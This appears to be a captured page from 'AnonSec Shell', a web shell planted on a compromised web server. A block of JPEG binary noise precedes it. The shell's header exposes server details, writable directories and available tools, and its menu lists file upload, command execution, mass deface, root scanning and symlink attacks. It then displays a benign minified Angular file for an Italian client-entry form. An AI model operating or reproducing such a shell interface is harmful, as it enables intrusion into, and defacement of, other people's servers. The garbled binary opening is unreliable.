JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/modis.angelopescatore.it/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/modis.angelopescatore.it/public/12-es5.94fe5333d188e2a4c35c.js
!function(){function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(e,t){for(var i=0;i<t.length;i++){var n=t[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function i(e,i,n){return i&&t(e.prototype,i),n&&t(e,n),e}(window.webpackJsonp=window.webpackJsonp||[]).push([[12],{IzMM:function(t,n,a){"use strict";a.r(n),a.d(n,"ClientsModule",function(){return le});var r,c=a("tyNb"),o=a("d2mR"),l=a("3Nfp"),s=a("fXoL"),b=a("3Pt+"),d=a("ofXK"),u=a("ZOsW"),h=a("sYmb"),g=function(e){return["form-control",e]},m=function(e){return["form-control","border-select",e]},v=((r=function(){function t(i){e(this,t),this.formChange=new s.n,this.validator=function(){},this.removeEmpty=function(){},this.fb=i,this.anagraficaGroup=this.fb.group({company_name:[""],vat_number:[""],fiscal_code:[""],status_client:[""],user_prospector:[""],client_industry:[""],head_office:[""],field_office1:[""],field_office2:[""],field_office3:[""]})}return i(t,[{key:"ngOnInit",value:function(){var e=this;this.anagraficaGroup.valueChanges.subscribe(function(t){e.formChange.emit(t)})}}]),t}()).\u0275fac=function(e){return new(e||r)(s.Pb(b.e))},r.\u0275cmp=s.Jb({type:r,selectors:[["app-client-insert-anagrafica"]],inputs:{form:"form",options:"options",validator:"validator",removeEmpty:"removeEmpty"},outputs:{formChange:"formChange"},decls:102,vars:74,consts:[[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","company_name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],[1,"card-body__title","d-inline"],["for","vat_number",1,"label-red-required"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","vat_number",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["type","text","formControlName","fiscal_code","pattern","^[\\w]{6}[0-9]{2}[\\w][0-9]{2}[\\w][0-9]{3}[\\w]$",3,"ngClass"],["bindLabel","status","bindValue","status","placeholder","","formControlName","status_client",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","user_prospector",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","client_industry",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","head_office",3,"ngClass"],["type","text","formControlName","field_office1",3,"ngClass"],["type","text","formControlName","field_office2",3,"ngClass"],["type","text","formControlName","field_office3",3,"ngClass"]],template:function(e,t){1&e&&(s.Vb(0,"form",0),s.Vb(1,"div",1),s.Vb(2,"div",2),s.Vb(3,"h3",3),s.Ic(4),s.hc(5,"translate"),s.Vb(6,"label",4),s.Ic(7,"*"),s.Ub(),s.Ub(),s.Vb(8,"div",5),s.Qb(9,"input",6),s.Qb(10,"i",7),s.Vb(11,"div",8),s.Ic(12,"{{'Il nome dell\\'azienda' \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!' | translate}} "),s.Ub(),s.Ub(),s.Ub(),s.Vb(13,"div",2),s.Vb(14,"h3",9),s.Ic(15),s.hc(16,"translate"),s.Vb(17,"label",10),s.Ic(18,"*"),s.Ub(),s.Ub(),s.Vb(19,"div",11),s.Vb(20,"div",12),s.Qb(21,"input",13),s.Qb(22,"i",14),s.Ub(),s.Ub(),s.Ub(),s.Vb(23,"div",2),s.Vb(24,"h3",3),s.Ic(25),s.hc(26,"translate"),s.Vb(27,"label",4),s.Ic(28,"*"),s.Ub(),s.Ub(),s.Vb(29,"div",5),s.Qb(30,"input",15),s.Qb(31,"i",7),s.Vb(32,"div",8),s.Ic(33),s.hc(34,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(35,"div",2),s.Vb(36,"h3",3),s.Ic(37),s.hc(38,"translate"),s.Vb(39,"label",4),s.Ic(40,"*"),s.Ub(),s.Ub(),s.Vb(41,"div",5),s.Qb(42,"ng-select",16),s.Ub(),s.Ub(),s.Vb(43,"div",2),s.Vb(44,"h3",3),s.Ic(45),s.hc(46,"translate"),s.Vb(47,"label",4),s.Ic(48,"*"),s.Ub(),s.Ub(),s.Vb(49,"div",5),s.Qb(50,"ng-select",17),s.Ub(),s.Ub(),s.Vb(51,"div",2),s.Vb(52,"h3",3),s.Ic(53),s.hc(54,"translate"),s.Vb(55,"label",4),s.Ic(56,"*"),s.Ub(),s.Ub(),s.Vb(57,"div",5),s.Qb(58,"ng-select",18),s.hc(59,"translate"),s.Vb(60,"div",8),s.Ic(61),s.hc(62,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(63,"div",2),s.Vb(64,"h3",3),s.Ic(65),s.hc(66,"translate"),s.Vb(67,"label",4),s.Ic(68,"*"),s.Ub(),s.Ub(),s.Vb(69,"div",5),s.Qb(70,"input",19),s.Qb(71,"i",7),s.Vb(72,"div",8),s.Ic(73),s.hc(74,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(75,"div",2),s.Vb(76,"h3",3),s.Ic(77),s.hc(78,"translate"),s.Vb(79,"label",4),s.Ic(80,"*"),s.Ub(),s.Ub(),s.Vb(81,"div",5),s.Qb(82,"input",20),s.Qb(83,"i",7),s.Ub(),s.Ub(),s.Vb(84,"div",2),s.Vb(85,"h3",3),s.Ic(86),s.hc(87,"translate"),s.Vb(88,"label",4),s.Ic(89,"*"),s.Ub(),s.Ub(),s.Vb(90,"div",5),s.Qb(91,"input",21),s.Qb(92,"i",7),s.Ub(),s.Ub(),s.Vb(93,"div",2),s.Vb(94,"h3",3),s.Ic(95),s.hc(96,"translate"),s.Vb(97,"label",4),s.Ic(98,"*"),s.Ub(),s.Ub(),s.Vb(99,"div",5),s.Qb(100,"input",22),s.Qb(101,"i",7),s.Ub(),s.Ub(),s.Ub(),s.Ub()),2&e&&(s.nc("formGroup",t.anagraficaGroup),s.Cb(4),s.Kc("",s.ic(5,28,"Nome azienda")," "),s.Cb(5),s.nc("ngClass",s.rc(56,g,t.validator("company_name",t.anagraficaGroup))),s.Cb(6),s.Kc("",s.ic(16,30,"Ha Partita Iva")," "),s.Cb(10),s.Kc("",s.ic(26,32,"Codice Fiscale")," "),s.Cb(5),s.nc("ngClass",s.rc(58,g,t.validator("fiscal_code",t.anagraficaGroup))),s.Cb(3),s.Kc(" ",s.ic(34,34,"Il codice fiscale \xe8 obbligatorio, \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),s.Cb(4),s.Jc(s.ic(38,36,"Status")),s.Cb(5),s.nc("items",t.options.statusOptions)("ngClass",s.rc(60,m,t.validator("status_client",t.anagraficaGroup))),s.Cb(3),s.Jc(s.ic(46,38,"User Prospector")),s.Cb(5),s.nc("items",t.options.userProspectorOptions)("ngClass",s.rc(62,m,t.validator("user_prospector",t.anagraficaGroup))),s.Cb(3),s.Kc("",s.ic(54,40,"Settore")," "),s.Cb(5),s.nc("items",t.options.industryOptions)("ngClass",s.rc(64,m,t.validator("client_industry",t.anagraficaGroup)))("addTag",!0)("addTagText",s.ic(59,42,"Premi invio per aggiungere il nuovo valore")),s.Cb(3),s.Jc(s.ic(62,44,"Seleziona il settore dove hai svolto questa mansione!")),s.Cb(4),s.Kc("",s.ic(66,46,"Sede Centrale")," "),s.Cb(5),s.nc("ngClass",s.rc(66,g,t.validator("head_office",t.anagraficaGroup))),s.Cb(3),s.Kc("",s.ic(74,48,"La sede centrale \xe8 obbligatoria!")," "),s.Cb(4),s.Kc("",s.ic(78,50,"Succursale 1")," "),s.Cb(5),s.nc("ngClass",s.rc(68,g,t.validator("field_office1",t.anagraficaGroup))),s.Cb(4),s.Kc("",s.ic(87,52,"Succursale 2")," "),s.Cb(5),s.nc("ngClass",s.rc(70,g,t.validator("field_office2",t.anagraficaGroup))),s.Cb(4),s.Kc("",s.ic(96,54,"Succursale 3")," "),s.Cb(5),s.nc("ngClass",s.rc(72,g,t.validator("field_office3",t.anagraficaGroup))))},directives:[b.w,b.o,b.i,b.c,b.n,b.g,d.l,b.a,b.s,u.a],pipes:[h.c],styles:[""]}),r),f=a("S8xs");function p(e,t){if(1&e){var i=s.Wb();s.Vb(0,"span",28),s.cc("click",function(){s.Ac(i);var e=s.gc().index;return s.gc().referente.removeAt(e)}),s.Qb(1,"i",29),s.Ub()}}var _=function(e){return["form-control",e]};function C(e,t){if(1&e&&(s.Vb(0,"accordion-group",9),s.Vb(1,"button",10),s.Vb(2,"div",11),s.Ic(3),s.hc(4,"translate"),s.Ub(),s.Vb(5,"div",12),s.Vb(6,"span",13),s.Qb(7,"i",14),s.Ub(),s.Gc(8,p,2,0,"span",15),s.Ub(),s.Ub(),s.Vb(9,"div",16),s.Vb(10,"div",17),s.Vb(11,"h3",18),s.Ic(12),s.hc(13,"translate"),s.Vb(14,"label",19),s.Ic(15,"*"),s.Ub(),s.Ub(),s.Vb(16,"div",20),s.Qb(17,"input",21),s.Qb(18,"i",22),s.Vb(19,"div",23),s.Ic(20),s.hc(21,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(22,"div",17),s.Vb(23,"h3",18),s.Ic(24),s.hc(25,"translate"),s.Vb(26,"label",19),s.Ic(27,"*"),s.Ub(),s.Ub(),s.Vb(28,"div",20),s.Qb(29,"input",24),s.Qb(30,"i",22),s.Vb(31,"div",23),s.Ic(32),s.hc(33,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(34,"div",17),s.Vb(35,"h3",18),s.Ic(36),s.hc(37,"translate"),s.Vb(38,"label",19),s.Ic(39,"*"),s.Ub(),s.Ub(),s.Vb(40,"div",20),s.Qb(41,"input",25),s.Qb(42,"i",22),s.Vb(43,"div",23),s.Ic(44,"{{'Il ruolo dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!' | translate}}"),s.Ub(),s.Ub(),s.Ub(),s.Vb(45,"div",17),s.Vb(46,"h3",18),s.Ic(47),s.hc(48,"translate"),s.Vb(49,"label",19),s.Ic(50,"*"),s.Ub(),s.Ub(),s.Vb(51,"div",20),s.Qb(52,"input",26),s.Qb(53,"i",22),s.Vb(54,"div",23),s.Ic(55),s.hc(56,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(57,"div",17),s.Vb(58,"h3",18),s.Ic(59),s.hc(60,"translate"),s.Vb(61,"label",19),s.Ic(62,"*"),s.Ub(),s.Ub(),s.Vb(63,"div",20),s.Qb(64,"input",27),s.Qb(65,"i",22),s.Vb(66,"div",23),s.Ic(67),s.hc(68,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub()),2&e){var i=t.$implicit,n=t.index,a=s.gc();s.Cb(3),s.Kc(" ",i.controls.name.value?i.controls.name.value:s.ic(4,17,"Referente")+" #"+(n+1)," "),s.Cb(5),s.nc("ngIf",a.referente.length>1),s.Cb(1),s.nc("formGroup",i),s.Cb(3),s.Kc("",s.ic(13,19,"Nome")," "),s.Cb(5),s.nc("ngClass",s.rc(37,_,a.validator("name",i))),s.Cb(3),s.Kc("",s.ic(21,21,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),s.Cb(4),s.Kc("",s.ic(25,23,"Cognome")," "),s.Cb(5),s.nc("ngClass",s.rc(39,_,a.validator("surname",i))),s.Cb(3),s.Kc(" ",s.ic(33,25,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),s.Cb(4),s.Kc("",s.ic(37,27,"Ruolo nell'Azienda")," "),s.Cb(5),s.nc("ngClass",s.rc(41,_,a.validator("company_role",i))),s.Cb(6),s.Kc("",s.ic(48,29,"Email")," "),s.Cb(5),s.nc("ngClass",s.rc(43,_,a.validator("email",i))),s.Cb(3),s.Kc(" ",s.ic(56,31,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),s.Cb(4),s.Kc("",s.ic(60,33,"Telefono")," "),s.Cb(5),s.nc("ngClass",s.rc(45,_,a.validator("phone",i))),s.Cb(3),s.Kc(" ",s.ic(68,35,"Il numero di telefono \xe8 obbligatorio e deve contenere solo numeri!")," ")}}var V,U=((V=function(){function t(i){e(this,t),this.formChange=new s.n,this.validator=function(){},this.removeEmpty=function(){},this.fb=i,this.referente=this.fb.array([this.referenteGroup])}return i(t,[{key:"referenteGroup",get:function(){return this.fb.group({name:[""],surname:[""],company_role:[""],email:[""],phone:[""]})}},{key:"ngOnInit",value:function(){var e=this;this.referente.valueChanges.subscribe(function(t){e.formChange.emit(t)})}}]),t}()).\u0275fac=function(e){return new(e||V)(s.Pb(b.e))},V.\u0275cmp=s.Jb({type:V,selectors:[["app-client-insert-referent"]],inputs:{form:"form",options:"options",validator:"validator",removeEmpty:"removeEmpty"},outputs:{formChange:"formChange"},decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["type","text","formControlName","company_role",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","phone",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(s.Vb(0,"div",0),s.Vb(1,"div",1),s.Vb(2,"accordion",2),s.Gc(3,C,69,47,"accordion-group",3),s.Ub(),s.Ub(),s.Vb(4,"div",4),s.Qb(5,"br"),s.Vb(6,"a",5),s.cc("click",function(){return t.referente.push(t.referenteGroup)}),s.Qb(7,"i",6),s.Ic(8),s.hc(9,"translate"),s.Ub(),s.Vb(10,"a",7),s.cc("click",function(){return t.removeEmpty(t.referente)}),s.Qb(11,"i",8),s.Ic(12),s.hc(13,"translate"),s.Ub(),s.Ub(),s.Ub()),2&e&&(s.Cb(2),s.nc("closeOthers","true"),s.Cb(1),s.nc("ngForOf",t.referente.controls),s.Cb(5),s.Kc("",s.ic(9,4,"Aggiungi Referente")," "),s.Cb(4),s.Kc("",s.ic(13,6,"Rimuovi Referenti Vuoti")," "))},directives:[f.a,d.m,f.c,d.n,b.o,b.i,b.c,b.n,b.g,d.l],pipes:[h.c],styles:[""]}),V),y=a("SxV6"),k=a("vkgz"),S=a("KEHF"),I=a("PSD3"),z=a.n(I),x=a("6N5d"),O=function t(){e(this,t)},w=a("/GDB");function F(e,t){if(1&e){var i=s.Wb();s.Vb(0,"a",24),s.cc("click",function(){return s.Ac(i),s.gc().currentStepIncrement()}),s.Qb(1,"i",25),s.Ic(2),s.hc(3,"translate"),s.Ub()}2&e&&(s.Cb(2),s.Kc("",s.ic(3,1,"Avanti")," "))}function P(e,t){1&e&&(s.Vb(0,"button",26),s.Qb(1,"i",25),s.Ic(2),s.hc(3,"translate"),s.Ub()),2&e&&(s.Cb(2),s.Kc("",s.ic(3,1,"Salva")," "))}function M(e,t){if(1&e){var i=s.Wb();s.Vb(0,"a",27),s.cc("click",function(){return s.Ac(i),s.gc().currentStepDecrement()}),s.Qb(1,"i",28),s.Ic(2),s.hc(3,"translate"),s.Ub()}2&e&&(s.Cb(2),s.Kc("",s.ic(3,1,"Indietro")," "))}var A,Q,L=((A=function(){function t(i,n,a,r,c){e(this,t),this.candidateService=n,this.router=a,this.translate=r,this.utilsService=c,this.fileToUpload=null,this.configurazioneWizard=[{step:0,name:"Anagrafica Cliente"},{step:1,name:"Referente"}],this.fb=i,this.inizializzaForm(),this.caricaDatiPerForm(),this.currentStep=0,this.setTitleStep()}return i(t,[{key:"currentStepIncrement",value:function(){this.currentStep<this.configurazioneWizard.length-1&&(this.currentStep++,this.setTitleStep())}},{key:"currentStepDecrement",value:function(){this.currentStep>0&&(this.currentStep--,this.setTitleStep())}},{key:"setCurrentStep",value:function(e){this.currentStep=e,this.setTitleStep()}},{key:"setTitleStep",value:function(){var e=this;this.configurazioneWizard.forEach(function(t){t.step==e.currentStep&&(e.titleStep="Riepilogo"!=t.name?"Inserimento "+t.name:t.name)})}},{key:"changeLanguage",value:function(e){l.a.setLang(e)}},{key:"ngOnInit",value:function(){}},{key:"updateForm",value:function(e,t){this.insertForm.get(t).setValue(e)}},{key:"inizializzaForm",value:function(){this.anagraficaFormOptions={userProspectorOptions:[],industryOptions:[],statusOptions:[]},this.referentFormOptions={languagesListOpt:[]},this.insertForm=this.fb.group({anagrafica:[],referent:[]})}},{key:"referent",get:function(){return this.insertForm.get("referent")}},{key:"caricaDatiPerForm",value:function(){var e=this;this.anagraficaFormOptions.userProspectorOptions=[{id:1,name:"Molly"},{id:2,name:"Maddy"},{id:3,name:"Luca"},{id:4,name:"Roland"}],this.anagraficaFormOptions.industryOptions=[{id:1,name:"IT"},{id:2,name:"Finance"}],this.utilsService.getAllLanguagesLevelOptions().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.referentFormOptions.languagesLevelOpt=t.message)})).subscribe(),this.candidateService.getStatus().pipe(Object(y.a)(),Object(k.a)(function(t){t.status&&(e.anagraficaFormOptions.statusOptions=t.message)})).subscribe()}},{key:"onSubmit",value:function(){var e=new O;this.insertForm.valid&&(e.company_name=this.insertForm.value.company_name,e.vat_number=this.insertForm.value.vat_number,e.fiscal_code=this.insertForm.value.fiscal_code,e.status_client=this.insertForm.value.status_client,e.user_prospector=this.insertForm.value.user_prospector,e.client_industry=this.insertForm.value.client_industry,e.head_office=this.insertForm.value.head_office,e.field_office1=this.insertForm.value.field_office1,e.field_office2=this.insertForm.value.field_office2,e.field_office3=this.insertForm.value.field_office3)}},{key:"validateField",value:function(e,t){var i="",n=(t||this.insertForm).get(e);return n&&n.value&&(i=n.valid?"is-valid":"is-invalid"),i}},{key:"backToClientList",value:function(){var e=this;z.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(function(t){t.isConfirmed&&e.router.navigate(["/candidates"])})}},{key:"addFormGroup",value:function(e,t){this[t]&&this[t]instanceof b.h&&e.push(this[t])}},{key:"removeEmptyFormGroup",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=[];e.value.map(function(e,t){var n=!0;for(var a in e)if(e[a]&&""!=e[a]){n=!1;break}1==n&&i.push(t)});for(var n=0,a=0,r=i;a<r.length;a++){var c=r[a];(e.length>1||t)&&(e.removeAt(c-n),n++)}}}]),t}()).\u0275fac=function(e){return new(e||A)(s.Pb(b.e),s.Pb(S.a),s.Pb(c.f),s.Pb(l.a),s.Pb(x.a))},A.\u0275cmp=s.Jb({type:A,selectors:[["client-insert"]],decls:36,vars:25,consts:[[1,"content__title","row"],[1,"col-4"],[1,"col-8","text-right"],[1,"actions"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-arrow-left"],[1,"d-none","d-sm-inline"],[1,"card"],[1,"card-body","p-2"],[3,"config","currentStep","stepChange"],[1,"row"],[1,"col-12"],[1,"card-body","pb-0"],[1,"col-md-12"],[1,"card-title"],[1,"card-subtitle"],[1,"card-body"],[3,"formGroup","ngSubmit"],[3,"hidden","validator","options","formChange"],[3,"hidden","validator","options","removeEmpty","formChange"],[1,"col-md-12","mt-5"],["class","btn btn-orange right mr-3 ml-3",3,"click",4,"ngIf"],["class","btn btn-orange right mr-3 ml-3",4,"ngIf"],["class","btn btn-dark right",3,"click",4,"ngIf"],[1,"btn","btn-orange","right","mr-3","ml-3",3,"click"],[1,"zmdi","zmdi-next"],[1,"btn","btn-orange","right","mr-3","ml-3"],[1,"btn","btn-dark","right",3,"click"],[1,"zmdi","zmdi-prev"]],template:function(e,t){1&e&&(s.Vb(0,"header",0),s.Vb(1,"div",1),s.Vb(2,"h1"),s.Ic(3),s.hc(4,"translate"),s.Ub(),s.Ub(),s.Vb(5,"div",2),s.Vb(6,"div",3),s.Vb(7,"button",4),s.cc("click",function(){return t.backToClientList()}),s.Qb(8,"i",5),s.Vb(9,"span",6),s.Ic(10),s.hc(11,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Vb(12,"div",7),s.Vb(13,"div",8),s.Vb(14,"app-wizard-manager",9),s.cc("stepChange",function(e){return t.setCurrentStep(e)}),s.Ub(),s.Ub(),s.Ub(),s.Vb(15,"div",10),s.Vb(16,"div",11),s.Vb(17,"div",7),s.Vb(18,"div",12),s.Vb(19,"div",10),s.Vb(20,"div",13),s.Vb(21,"h4",14),s.Ic(22),s.hc(23,"translate"),s.Ub(),s.Vb(24,"h6",15),s.Ic(25),s.hc(26,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Vb(27,"div",16),s.Vb(28,"form",17),s.cc("ngSubmit",function(){return t.onSubmit()}),s.Vb(29,"app-client-insert-anagrafica",18),s.cc("formChange",function(e){return t.updateForm(e,"anagrafica")}),s.Ub(),s.Vb(30,"app-client-insert-referent",19),s.cc("formChange",function(e){return t.updateForm(e,"referent")}),s.Ub(),s.Vb(31,"div",10),s.Vb(32,"div",20),s.Gc(33,F,4,3,"a",21),s.Gc(34,P,4,3,"button",22),s.Gc(35,M,4,3,"a",23),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub(),s.Ub()),2&e&&(s.Cb(3),s.Jc(s.ic(4,17,"Inserimento Cliente")),s.Cb(7),s.Jc(s.ic(11,19,"Torna a Lista Clienti")),s.Cb(4),s.nc("config",t.configurazioneWizard)("currentStep",t.currentStep),s.Cb(8),s.Kc(" ",s.ic(23,21,t.titleStep)," "),s.Cb(3),s.Kc("",s.ic(26,23,"Inserisci qui i dati del cliente.")," "),s.Cb(3),s.nc("formGroup",t.insertForm),s.Cb(1),s.nc("hidden",0!=t.currentStep)("validator",t.validateField)("options",t.anagraficaFormOptions),s.Cb(1),s.nc("hidden",1!=t.currentStep)("validator",t.validateField)("options",t.referentFormOptions)("removeEmpty",t.removeEmptyFormGroup),s.Cb(3),s.nc("ngIf",t.currentStep<t.configurazioneWizard.length-1),s.Cb(1),s.nc("ngIf",t.currentStep==t.configurazioneWizard.length-1),s.Cb(1),s.nc("ngIf",t.currentStep>0))},directives:[w.a,b.w,b.o,b.i,v,U,d.n],pipes:[h.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}"]}),A),G=a("ijA0"),K=a("zEtD"),N=a("AytR"),J=a("WD1m"),E=a("tk/3"),T=((Q=function(){function t(i,n){e(this,t),this.http=i,this.authorizationService=n}return i(t,[{key:"getClients",value:function(){return this.http.get(N.a.apiUrl+"clients",this.authorizationService.getAuthorization())}}]),t}()).\u0275fac=function(e){return new(e||Q)(s.Zb(E.b),s.Zb(J.a))},Q.\u0275prov=s.Lb({token:Q,factory:Q.\u0275fac,providedIn:"root"}),Q),q=a("W/eW"),R=a("Mfq2"),j=["Selecter"];function W(e,t){if(1&e&&(s.Vb(0,"div"),s.Vb(1,"div",32),s.cc("click",function(){var e=t.$implicit;return e.active=!e.active}),s.Qb(2,"i"),s.Ic(3),s.hc(4,"translate"),s.Ub(),s.Ic(5," \xa0 "),s.Ub()),2&e){var i=t.$implicit;s.Cb(1),s.nc("ngClass",i.active?"badge-warning":"badge-light"),s.Cb(1),s.Fb("zmdi zmdi-",i.active?"minus-circle-outline":"plus-circle-o",""),s.Cb(1),s.Kc(" ",s.ic(4,5,i.name)," ")}}function B(e,t){if(1&e){var i=s.Wb();s.Tb(0),s.Vb(1,"div",35),s.Vb(2,"div",36),s.Vb(3,"h3",37),s.Ic(4),s.hc(5,"translate"),s.hc(6,"translate"),s.Ub(),s.Vb(7,"app-datetime-manager",38),s.cc("modelChange",function(e){s.Ac(i);var t=s.gc().$implicit;return s.gc(2).advSearchForm.controls[t.key+"_start"].value=e}),s.hc(8,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Vb(9,"div",35),s.Vb(10,"div",36),s.Vb(11,"h3",37),s.Ic(12),s.hc(13,"translate"),s.hc(14,"translate"),s.Ub(),s.Vb(15,"app-datetime-manager",38),s.cc("modelChange",function(e){s.Ac(i);var t=s.gc().$implicit;return s.gc(2).advSearchForm.controls[t.key+"_end"].value=e}),s.hc(16,"translate"),s.Ub(),s.Ub(),s.Ub(),s.Sb()}if(2&e){var 